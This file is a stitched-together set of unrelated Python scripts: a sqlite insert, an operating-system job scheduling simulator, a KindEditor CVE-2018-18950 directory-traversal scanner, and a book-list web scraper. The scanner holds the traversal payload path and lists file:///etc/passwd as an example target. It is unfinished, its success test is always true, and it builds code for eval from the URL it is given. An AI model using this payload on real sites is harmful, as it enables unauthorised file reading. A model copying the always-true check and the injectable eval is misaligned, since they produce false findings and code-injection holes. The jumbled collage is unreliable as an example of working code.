import sqlite3

conn = sqlite3.connect('employee.db')

c = conn.cursor()

# c.execute("""CREATE TABLE employee (
#                 first text,
#                 last text,
#                 pay integer
#                 )""")

c.execute("INSERT INTO employee VALUES ('Hekmat', 'Hamidi', 50000)")

conn.commit()
conn.close()


from utils.components.memory import Memory, MemoryMultiprogrammedFirstChoice
from utils.components.memory import MemoryMultiprogrammedBestChoice, MemoryMultiprogrammedWorstChoice
from utils.components.cpu import CPU, CPUMultiprogrammed
from utils.event import Event

import numpy as np

import matplotlib
matplotlib.use("pdf")
import matplotlib.pyplot as plt
import matplotlib.patheffects as pe
from matplotlib.ticker import AutoMinorLocator

class System:
    def __init__(self, memory_size):
        self.memory = Memory(memory_size)
        self.cpu = CPU()
        self.wait_list = []

    def receiveEvent(self, event):
        kind = event.kind

        if kind == "start":
            return self.eventStart()

        elif kind == "arrival":
            return self.eventArrival(event)

        elif kind == "memory req":
            return self.eventMemory(event)

        elif kind == "process req":
            return self.eventProcess(event)

        elif kind == "end of process":
            return self.eventEndProcess(event)

        else:
            return self.eventEnd(event)

    def eventStart(self):
        print("Initializing simulation:\n")
        return []

    def eventArrival(self, event):
        # The job is submitted to the system
        if event.job.states["Submitted"] == -1:
            event.job.states["Submitted"] = event.time

        if self.memory.isAvailable(event.job):
            # The job is accepted and joints the system
            event.job.states["Joined"] = event.time

            # Update memory allocation metrics
            self.memory.allocations_accepted += 1

            # Update CPU execution time
            self.cpu.updateTime(event.time)

            # Send new event to the Queue
            return [Event("memory req", 0, event.job)]

        else:
            # Store this event to the wait list
            self.wait_list.append(event.job)
            event.job.wait_time.append(self.cpu.time)

            # Update memory allocation metrics
            self.memory.allocations_denied += 1

            return []

    def eventMemory(self, event):
        # Allocate memory to the new job
        if self.memory.isSmaller(event.job.size):
            self.memory.allocate(event.job)
            # Send new event to the Queue
            return [Event("process req", 0, event.job)]

        else:
            print(f"\nThis job is bigger than the memory size: ")
            event.job.print()
            return []

    def eventProcess(self, event):
        # Allocate the CPU to the new job
        self.cpu.allocate(event.job)

        # The CPU starts the job execution
        event.job.states["Execution"].append([self.cpu.time])

        # Send new event to the Queue
        end_time = self.cpu.time + event.job.duration
        return [Event("end of process", end_time, event.job)]

    def eventEndProcess(self, event):
        # Update CPU execution time
        self.cpu.updateTime(event.time)

        # The CPU has finished the job execution
        event.job.states["Execution"][-1].append(event.time)
        event.job.executed = event.job.duration

        # Free CPU
        self.cpu.free()
        # Free memory
        self.memory.free(event.job)

        # The job leaves the system
        event.job.states["Done"] = self.cpu.time

        # Check the wait list and get the next waiting event
        return [self.updateWaitList()]

    def eventEnd(self, event):
        # Stop simulation
        print(f"\n[{self.cpu.time}] End of simulation at event:")
        event.print()
        return ["stop"]

    def updateWaitList(self):
        # Check if there is a job in the wait list
        if len(self.wait_list) > 0:
            # Get the first job and load it into the system
            new_job = self.wait_list.pop(0)
            new_job.wait_time.append(self.cpu.time)

            # Generate a new event to join the system
            new_event = Event("arrival", self.cpu.time, new_job)
            output = self.eventArrival(new_event)
            if len(output) > 0:
                return output[0]
        return

    def plot(self, job_mix, antecipated = False):
        job_names = []
        job_arrivals = []
        job_execution_intervals = []
        job_memory_size = []
        job_memory_base = []
        grid_intervals = [] # List of start and end points, sorted by time stamp
        # Prepare the list of each job to plot
        for job in job_mix.list:
            job_names.append(job.name)
            job_arrivals.append(job.arrival)
            job_memory_size.append(job.size)
            job_memory_base.append(job.memory_base)

            start = job.states["Joined"]
            final = job.states["Done"]
            job_execution_intervals.append([start, final])

            grid_intervals.append([start, "start", int(job.name)]) # List: start time, kind, job name
            grid_intervals.append([final, "final", int(job.name)])

        fig = plt.figure(figsize = (15, len(job_names) * 1))
        ax = fig.add_subplot(1,1,1)

        plt.title(f"Execução dos Jobs")
        plt.xlabel("Tempo")
        plt.ylabel("Jobs")

        # Line parametrization
        line_foreground_width = 20

        # Plot the execution intervals
        for i in range(len(job_names)):
            line = ax.plot(job_execution_intervals[i], [i, i], lw = 15, color = "lightskyblue",
                           path_effects = [pe.Stroke(linewidth = line_foreground_width, foreground = "lightslategray"),
                           pe.Normal()])
            line[0].set_solid_capstyle("butt")
            ax.scatter(job_arrivals[i], i, marker = "*", s = 500, facecolor = "gold",
                       edgecolors = "lightslategray", linewidths = 2, zorder = 10000)
            ax.scatter(job_execution_intervals[i][1], i, marker = "$↓$", s = 700, facecolor = "gold",
                       edgecolors = "lightslategray", linewidths = 1, zorder = 10000)

        # Plot the time stamps and grid separations
        grid_intervals.sort(key = lambda c: c[0])
        active_jobs = set() # Set of active jobs

        for i in range(len(grid_intervals)-1):
            # If a job started, add it to the active job's set
            if grid_intervals[i][1] == 'start':
                active_jobs.add(grid_intervals[i][2])
            # Remove it when it ends.
            else:
                active_jobs.remove(grid_intervals[i][2])

            job_counter = len(active_jobs)

            interval_points = (grid_intervals[i][0], grid_intervals[i+1][0])

            # Avoid plotting a 0 in cases where there is more than one job starting/ending.
            if (interval_points[1] == interval_points[0]):
                continue

            if(antecipated):
                interval_value = (interval_points[1]-interval_points[0])/1
                grid_x_pos = [np.mean(interval_points)] * 1
            else:
                interval_value = (interval_points[1]-interval_points[0])/job_counter
                grid_x_pos = [np.mean(interval_points)] * job_counter

            grid_y_pos = [int(job_name) - 1 for job_name in active_jobs]

            for x, y in zip(grid_x_pos, grid_y_pos):
                ax.plot([interval_points[0], interval_points[0]], [y - line_foreground_width/100, y + line_foreground_width/100], color='gray', linewidth = 1)
                ax.text(x, y, f"{interval_value:.2f}", ha = "center", va = "center")

            # plt.title(f"Execução dos Jobs\nGrau médio de N: {self.cpu.getMeanN():.3}")

            ax.xaxis.set_minor_locator(AutoMinorLocator())
            ax.xaxis.grid(which = "both")
            plt.yticks(list(range(len(job_names))), job_names)
        plt.ylim(bottom = -0.5, top = len(job_names) - 0.5)
        plt.savefig("execution.jpg")

        # Plot Memory
        fig = plt.figure(figsize = (15, len(job_names) * 1.2))
        ax = fig.add_subplot(1,1,1)

        end_time = max(job_execution_intervals, key=lambda c: c[:][1])[1] + 10
        plt.axis([0, end_time, 0, self.memory.size])
        plt.title(f"Alocação de memória\nTaxa de alocação: {self.memory.getAcceptionRate()*100:.2f}%")
        plt.xlabel("Tempo")
        plt.ylabel("Tamanho da memória (bytes)")

        for i in range(len(job_names)):
            x = job_execution_intervals[i][0]
            y = job_memory_base[i]
            width = job_execution_intervals[i][1] - job_execution_intervals[i][0]
            height = job_memory_size[i]

            rectangle = plt.Rectangle((x, y), width, height, fc='royalblue', ec='lightsteelblue')
            ax.add_patch(rectangle)

            # Plot job names
            ax.text(x + width/2, y + height/2, f"{job_names[i]}", size=15, ha = "center", va = "center")

        plt.savefig("memory.jpg")

class SystemFIFO(System):
    pass

class SystemShortest(System):
    def updateWaitList(self):
        if len(self.wait_list) > 0:
            self.wait_list.sort(key = lambda job: job.duration)
            # Get the first job and load it into the system
            new_job = self.wait_list.pop(0)
            new_job.wait_time.append(self.cpu.time)

            # Generate a new event to join the system
            new_event = Event("arrival", self.cpu.time, new_job)
            output = self.eventArrival(new_event)
            if len(output) > 0:
                return output[0]
        return

class SystemMultiprogrammed(System):
    def __init__(self, memory_size, time_slice):
        super().__init__(memory_size)
        self.cpu = CPUMultiprogrammed(time_slice)

    def receiveEvent(self, event):
        kind = event.kind

        if kind == "start":
            return self.eventStart()

        elif kind == "arrival":
            return self.eventArrival(event)

        elif kind == "memory req":
            return self.eventMemory(event)

        elif kind == "process req":
            return self.eventProcess(event)

        elif kind == "cpu time slice":
            return self.eventTimeSlice(event)

        elif kind == "end of process":
            return self.eventEndProcess(event)

        else:
            return self.eventEnd(event)

    def eventProcess(self, event):
        # Allocate the CPU to the new job and check if the CPU was idle
        was_idle = self.cpu.allocate(event.job)

        # Update the multiprogrammed level time stamp of the cpu
        self.cpu.updateNTimeStamp()

        # If there was no execution, start the timer corresponding to the time slice
        if was_idle:
            # The CPU starts the job execution
            event.job.states["Execution"].append([self.cpu.time])

            # Check if the next time slice is the last for this job
            last_slice, switch_time = self.cpu.generateTimeSlice()
            if last_slice:
                end_time = self.cpu.time + event.job.duration
                return [Event("end of process", end_time, event.job)]

            # If its not the last time slice, raise a Time Slice event
            else:
                return [Event("cpu time slice", self.cpu.time + switch_time)]

        return []

    def eventTimeSlice(self, event):
        # Update CPU execution time
        self.cpu.updateTime(event.time)

        # Store the execution interval end of the current job
        job = self.cpu.current_job
        job.states["Execution"][-1].append(self.cpu.time)

        # Finish the time slice in the CPU, get the new time slice information
        # and execute a new job
        last_slice, switch_time = self.cpu.endTimeSlice()

        # Generate the time slice of the new job
        new_job = self.cpu.current_job
        if last_slice:
            remaining_time = new_job.duration - new_job.executed
            end_time = self.cpu.time + remaining_time
            return [Event("end of process", end_time, new_job)]

        # If its not the last time slice, raise a Time Slice event
        return [Event("cpu time slice", self.cpu.time + switch_time)]

    def eventEndProcess(self, event):
        # Initialize the return list
        output = []

        # Update CPU execution time
        self.cpu.updateTime(event.time)

        # The CPU has finished the job execution
        event.job.states["Execution"][-1].append(event.time)
        event.job.executed = event.job.duration

        # Free CPU
        self.cpu.free()

        # Update the multiprogrammed level time stamp of the cpu
        self.cpu.updateNTimeStamp()

        # Free memory
        self.memory.free(event.job)

        # The job leaves the system
        event.job.states["Done"] = self.cpu.time

        # End this time slice
        last_slice, switch_time = self.cpu.endTimeSlice()
        new_job = self.cpu.current_job
        if new_job != None:
            if last_slice:
                remaining_time = new_job.duration - new_job.executed
                end_time = self.cpu.time + remaining_time
                output.append(Event("end of process", end_time, new_job))
            else:
                output.append(Event("cpu time slice", self.cpu.time + switch_time))

        # Check the wait list and get the next waiting event
        output.append(self.updateWaitList())

        return output

class SystemMultiprogrammedFirstChoice(SystemMultiprogrammed):
    def __init__(self, memory_size, time_slice, n):
        super().__init__(memory_size, time_slice)
        self.memory = MemoryMultiprogrammedFirstChoice(memory_size, n)

class SystemMultiprogrammedBestChoice(SystemMultiprogrammed):
    def __init__(self, memory_size, time_slice, n):
        super().__init__(memory_size, time_slice)
        self.memory = MemoryMultiprogrammedBestChoice(memory_size, n)

class SystemMultiprogrammedWorstChoice(SystemMultiprogrammed):
    def __init__(self, memory_size, time_slice, n):
        super().__init__(memory_size, time_slice)
        self.memory = MemoryMultiprogrammedWorstChoice(memory_size, n)


#!/usr/bin/env python3
# -*- coding:utf-8 -*-

''' 还没写好
KindEditor是一套开源的HTML可视化编辑器
    Kindeditor扫描类:
        Kindeditor 目录遍历
            CVE-2018-18950
                Payload: https://baizesec.github.io/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/02-%E7%BC%96%E8%BE%91%E5%99%A8%E6%BC%8F%E6%B4%9E/Kindeditor/KindEditor%203.4.2%263.5.5%E5%88%97%E7%9B%AE%E5%BD%95%E6%BC%8F%E6%B4%9E/

file:///etc/passwd
file:///C:\Windows\System32\drivers\etc\hosts
'''

from lib.api.dns import dns
from lib.initial.config import config
from lib.tool.md5 import md5, random_md5
from lib.tool.logger import logger
from lib.tool.thread import thread
from lib.tool import check
from thirdparty import requests
from time import sleep

class Kindeditor():
    def __init__(self):
        self.timeout = config.get('timeout')
        self.headers = config.get('headers')
        self.proxies = config.get('proxies')

        self.app_name = 'Kindeditor'
        self.md = md5(self.app_name)
        self.cmd = 'echo ' + self.md

        self.cve_2018_18950_payloads = [
            {
                'path': 'php/file_manager_json.php?path=/',
                'data': ''
            },
        ]

    def cve_2018_18950_scan(self, url):
        ''' KindEditor 3.4.2/3.5.5版本中的php/file_manager_json.php文件存在目录遍历漏洞,
            远程攻击者可借助"path"参数利用该漏洞浏览文件
        '''
        vul_info = {}
        vul_info['app_name'] = self.app_name
        vul_info['vul_type'] = 'FIle-Read'
        vul_info['vul_id'] = 'CVE-2018-18950'
        vul_info['vul_method'] = 'GET'
        vul_info['headers'] = {}

        # headers = self.headers.copy()
        # headers.update(vul_info['headers'])

        for payload in self.cve_2018_18950_payloads:
            path = payload['path']
            data = payload['data']
            target = url + path

            vul_info['path'] = path
            vul_info['data'] = data
            vul_info['target'] = target

            try:
                res = requests.get(
                    target,
                    timeout=self.timeout,
                    headers=self.headers,
                    data=data,
                    proxies=self.proxies,
                    verify=False,
                    allow_redirects=False
                )
                logger.logging(vul_info, res.status_code, res)                        # * LOG
            except requests.ConnectTimeout:
                logger.logging(vul_info, 'Timeout')
                return None
            except requests.ConnectionError:
                logger.logging(vul_info, 'Faild')
                return None
            except:
                logger.logging(vul_info, 'Error')
                return None

            if ('11'):
                results = {
                    'Target': target,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Method': vul_info['vul_method'],
                    'Payload': {
                        'Url': url,
                        'Path': path
                    }
                }
                return results

    def addscan(self, url, vuln=None):
        if vuln:
            return eval('thread(target=self.{}_scan, url="{}")'.format(vuln, url))

        return [
            thread(target=self.cve_2018_18950_scan, url=url)
        ]

kindeditor = Kindeditor()


"""
技評にある本のURLとタイトルがjsonファイルで出力されるよ
"""
import requests
import lxml.html
import csv
import json

url = 'https://gihyo.jp/dp'

r = requests.get(url)
rhtml = r.text

html = lxml.html.fromstring(rhtml)
html.make_links_absolute(url)

with open('booklist.json', 'w', newline="")as f:

    for a in html.cssselect('#listBook>li>a[itemprop="url"]'):
        book_url = a.get('href')

        p = a.cssselect('p[itemprop = "name"]')[0]
        title = p.text_content()

        json.dump([{'url': book_url, 'title': title}], f, ensure_ascii=False, indent=2)